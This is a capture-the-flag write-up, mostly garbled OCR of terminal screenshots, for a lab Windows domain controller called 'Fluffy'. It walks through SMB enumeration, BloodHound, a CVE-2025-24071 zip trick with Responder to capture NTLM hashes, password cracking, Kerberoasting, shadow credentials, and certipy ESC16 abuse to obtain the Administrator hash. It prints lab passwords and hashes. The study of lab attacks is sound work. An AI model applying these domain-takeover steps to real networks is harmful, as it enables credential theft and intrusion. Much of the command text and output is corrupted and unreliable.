Windows machine that tests your #enumeration  #osint  #evil-winrm  #certipy  #bloodyAD
#bloodhound  #nxc  #smbclient skills.

Initial creds:
j-fleischman / JOelITHEM4n1990!

User flag

Enumeration:
fscan:

[ ~/htb/temp
1 108.129.48.116 er j.fleischman -pwd JOelTHEM4n1990!

18.12¢

18.129.

18.129 .116:139 open
[*] alive ports len is: 3
start vul

E XA

[:— i [ ~/hth/temp

[inf;;] @:vpn 1:fscan* 2:nxc- 3:rdp 4:any

smb + bloodhound:

nxc smb 10.129.48.116 -u j.fleischman -p JOelTHEMd4n1990! -M spider_plus
rusthound-ce -d fluffy.htb -u j.fleischman —-p JOelTHEMU4n1990!



»Ihth/tzﬂlp/lﬂnndhnund J0elTHEM4n1990!

b 10.129.48.1 hma J0elTHEM4n1990!
. J0e1THEM4N1990!

ardet (
DCO1
)
DCO1 F j chman: n1990!
Sta ri h the following 46 1§ ri / i Info
ALl

ry!

Ldap £ ;
ALL data coll for Nami xt DC=Fluffy,DC=htb

Ldap filter : (objectC *

ALL data coll r xt CN=Configuration,DC=Fluffy,DC

Ldap filter :
AL data coll, CN=Schema, CN=Configuration,DC

ldap| Ldap filter : (obj
ldap. ALl data collected for <t DC=DomainDnsZones, DC=Fluffy,

DC=ForestDnsZones, DC=Fluffy,

c§, IPCS§, IT, NETLOGON, S

. NETLOGON,

~/htb/temp/bloodhound

~/htb/temp/bloodhound

1 ntauth:
J/IMBBHMIIJM ﬂuffy htb_ntauthstores. json c 1
“teamosh” 22:47 20-Jan-2€

[infra) 0:ven 1:fscan- 2:nxck 3:rdp :any

We have READ + WRITE permission in 'IT' share, interesting.
The share has eye-catching files, particularly Upgrade_Notice.pdf:



22:49:49 [45/10407]

BX_DetailsFull_HTM

ime_epoc

"mtime_epoch”:
"size": "3.03

atime epoch”:

ctime_epoch”:
"mtime_epoc

atime_epoch”:
ctime_epoch”:
"mtime_epoch”:
"size": "3.03 KB"

Ir
"Upgrade_Notic
time epoch”™: .
ctime_epoch”: ] : .
"mtime_epoch”: 17 11:31:087",
"size": "16

}

]'r

"NETLOGON": {},

" L": {

"fluffy.htb/Polici 4@-016D-11D2-945F-0OCH4FBO84F0} /GPT.INI": {

"atime_epoch”: [ '
ctime_epoch”:

"mtime_epoch”:

9} /MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.in

atime_epoch”:
"ctime_epoch”:

Viewing it shows us a hint from creators. By quickly looking at pocs and
descriptions of CVE, I found CVE-2025-2U4071 most appealing -> so I tried to
exploit it. Essentially, it is a CVE that lets you catch NTLM hash of a user
when he extracts your zip. Initially I though we need to invoke extraction
somehow (by maybe deleting source code of KeePass and etc? but it resulted in

not being necessary.

| used this PoC and this PoC. However latter one does not work :)


https://github.com/0x6rss/CVE-2025-24071_PoC
https://github.com/Marcejr117/CVE-2025-24071_PoC/tree/main

Upgrades must be completed within the defined change window to reduce the risk of
exploitation and maintain compliance with patching requirements.

Upgrade Process

¢ Book a timeslot through the IT change management system.
e Schedule must be confirmed before applying any updates.

o Confirm completion and validate system stability after patching.

Recent Vulnerabilities

CVEID
CVE-2025-24996
| CVE-2025-2407
CVE-2025-446785
CVE-2025-299568
CVE-2025-21193

CVE-2025-3445

The Primary Objective

Severity

Critical
Critical
High
High
Medium

Low




Force ESS dowr

Generic Options:
Responder NIC

Responder IP

Responder IPvb

Challenge set

Don't Respond To Mames
Don't Respond To MDNS TLD
TTL for poisoned response

Current Session Variables:
Responder Machine Name
Responder Domain Name
Responder DCE-RPC Port

Version: Responder 3.1.
Author: Laurent Gaffie, <
To sponsor Responder: htt

Listening for events...

[+] Exiting...

After getting the hash, we brute it with
p.agila:prometheusx-303

I tried to enumerate smb with that, but got nothing, and tried to enumerate

or other servers running,

rockyou and get new creds:

ldap —-> Kkerberoasting, which gave us 3 new users.

ca_svc
winrm_svc
ldap_svc



[j_ ~/htb/temp/bloodhound
ldap 10.129.48.116 gila 'prometheusx-303
10. i )CE / ; (name:DCO1) (domain:f

uffy.hth)
18.129. !
10.12¢ i ! DCa1
10. i

=fluffy,D

Bruting them gave no result, which led me to looking at our last resort -
BloodHound, where we can see that we have GenericAll for service accounts. So
we can try to get shadow creds by adding ourselves to "service accounts" group



Select a node to view the associated
[ ) . P.AGILA@FLUFFY.HTB

@
EFS@FLUFFYHTB

Enroll

Envoll e
@ DOMAIN USERS@FLUFFY.HTB
Envol (@]
Memberof ‘

CLIENTAUTH@FLUFFY.HTB

USERSIGNATURE@FLUFFY.HTB

Enroll
PAGILA@FLUFFY.HTB

USER@FLUFFYHTB
Member0f
SERVICE ACCOUNT MANAGERS@FLUFFY.HTB
GenericAll
[}
@SERV\CEACCUUNTS@FLUFFVHTB
- Q SEARCH € PATHFINDING  </> CYPHER None Selected

Select a node to view the associated information
® | @ PAGILA@FLUFFY.HTB

@

.W\NRM,SVC@FLU FFY.HTB
(]
GenericWrite
O SERVICE ACCOUNTS@FLUFFY.HTB GenericWrite . LDAP_SVC@FLUFFY.HTB
(@]
GenericWrite
(%]
‘ CA_SVC@FLUFFY.HTB

~/htb/temp/bloodhound
fluffy.htb n.agila -p promethe

gila added to s ounts

=1

~/htb/temp/bloodhound

dow 1
by Oliver Lyak (ly&k

error: cket connection error
-debug to print a st

~/htb/temp/bloodhound |
shadow auto - t-ip 10.129.48.116

g ; Credential
Credential generated with Dev
redential with de
to the Key Credentia

No identitie
ing principal: 'ldap
Trying to get TGT...
Got TGT




This way, we get all 3 ntlm hashes.

ca_svc:caffuf9e9eb8a092add+53bb03fc98c8
winrm_svc:33bd09dcd697600edf6b3a7afu875767
ldap_svc:22151d74ba3de931a352cbalf9393a37

First instinct is try to connect via evil-winrm, which leds us to user flag at
C://winrm_svc/Desktop/user.txt or something like that.

Root flag

If we enumerate ca_svc, then we will see that we are member of cert
publishers. By enumerating with certipy further we see



Enroll

= Q  SEARCH @ PATHFINDING  </> CYPHER

e — Enroll
DOMAIN USERS@FLUFFY.HTB
® (@ PAGILA@FLUFFYHTB Enroll

m n Enrall

CLIENTAUTH@FLUFFY.HTB

USERSIGNATURE@FLUFFY.HTB

@ | Destination Nod ‘lli3
Memberof ﬂUSER@FLUFFY.HTB
WINRM_SVC@FLUFFY.HTB
GenericWrite
FLUFFY.HTB MemberOf SERVICE ACCOUNTS@FLUFFY.HTB
(<) GenericWrite
LDAP_SVC@FLUFFY.HTB
MemberOf @ DCO1@FLUFFY.HTB

GenericAll 6‘6
- AIA@FLUFFY.HTB
GenericAll
CERT PUBLISHERS@FLUFFY.HTB
GenericAll
FLUFFY-DCO1-CA@FLUFFY.HTB
Enroll

FLUFFY-DCO1-CA@FLUFFY.HTB

a supported "

Found

Findi

Found 1 E
Found 11 enabled
Findi

Found 14 i

Found @ OID

= od % d A A A A *

tarting now.
DCB1-CA’
1.fluffy.htb’

Error ch g web enrollment
e -debug to print <tr
output to
output to
ng output to 20260120
Wrote JSON output to '202681202

[
[
[
[
[
[
[
[
[
[
[
[
[
[!
[!
[
[
[
[
[

[ e S S S T e S T Vi T e S S e

% % % -

~/htb/temp/bloodhound

-




Cs

~/htb/temp/bloodhound

20260120233746_Certipy.txt

Certificate Authorities

a

iki

CA Name
DNS Name
Certificate Subject
Certificate Serial Number
Certificate Validity Start
Certificate Validity End
Web Enrollment
HTTP
Enabled
HTTPS
Enabled
User Specified SAN
Request Disposition
Enforce Encryption for Reguests
Active Policy
Disabled Extensions
Permissions
Owner
Access Rights
ManageCa

ManageCertificates

Enroll
['] Vulnerabilities
ESC16
[*] Remarks
ESC16
for more details.

Certificate Templates

: fluffy-DCA1-CA

: DCO1.fluffy.htb

: CN=fluffy-DC@1-CA, DC=fluffy, DC=htb
: 3670CAHATI5BB64BBAATFICD72119B6F5

» 2025-04-17 16:00:16+00:00

: 3024-04-17 16:11:16+00: 00

: False

: False

: Disabled

. Issue

: Enabled

: CertificateAuthority_MicrosoftDefault.Policy
:1.3.6.1.4.1.311.25.2

: FLUFFY.HTBM\Administrators

: FLUFFY.HTB\Domain Admins

FLUFFY.HTB\Enterprise Admins
FLUFFY .HTB\Administrators

: FLUFFY.HTB\Domain Admins

FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators

: FLUFFY.HTB\Cert Publishers
: Security Extension is disabled.
: Other prereguisites may be required for this to be exploitable. See the

: [!'] Could not find any certificate templates

We can see that there is a ESC16 vulnerability, ofc we dont know what is that, so we google it

and stumble upon medium article that tells us how to exploit it.

Step 1:

Ls

[I]
[]

Ls

Certipy v5.08.4 - by Oliver Lyak (ly&k)

[*]
[

Certipy v5.0.4 - b

~/htb/temp/bloodhound

account Ca_svc
th* ‘ta_svc' update

Updating user 'ca_swvc':
userPrincipalName
Successfully updated "ca_swvc'

cadfi4f9e9eb8a092addf53bb@3fc98ch

y_Dliuer Lyak (ly&k)

fluffy.htb

: administrator@fluffy.htb

~/htb/temp/bloodhound

req Ca_swve
User

Requesting certificate wvia RPC
Request ID is 16

:cabf4f9e9eb8a092addf53bba3fco8ca

fluffy.htb

[*] Successfully requested certificate

[*] Got certificate with UPN ‘administrator@fluffy.htb’

[*] Certificate has no object SID

[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx’

[*] Wrote certificate and private key to "administrator.pfx’



https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6

~/htb/temp/bloodhound
account ca_svc calf4f9e9eb8aB92addf53bbo

update
v5.0.4 - by Oliver Lyak (ly

~/htb/temp/bloodhound
auth administrator.pfx 10.129
Certipy v5.8.4 - by Oliver Lyak (Lly4k)

ifluffy.htb’
al: 'administrator@fluffy.htb’
g to get TGT...
TGT
he to °
cache to 'admi
NT h for
[*] Got hash for ‘administrz af

Basically, we change userPrincipalName thus trick into giving administrator's
certificate, revert back the changes (otherwise it will just send mismatch
error) and auth with certificate -> get Administrator hash -> connect through
winrm -> get flag at C://Administrator/Desktop/root.txt



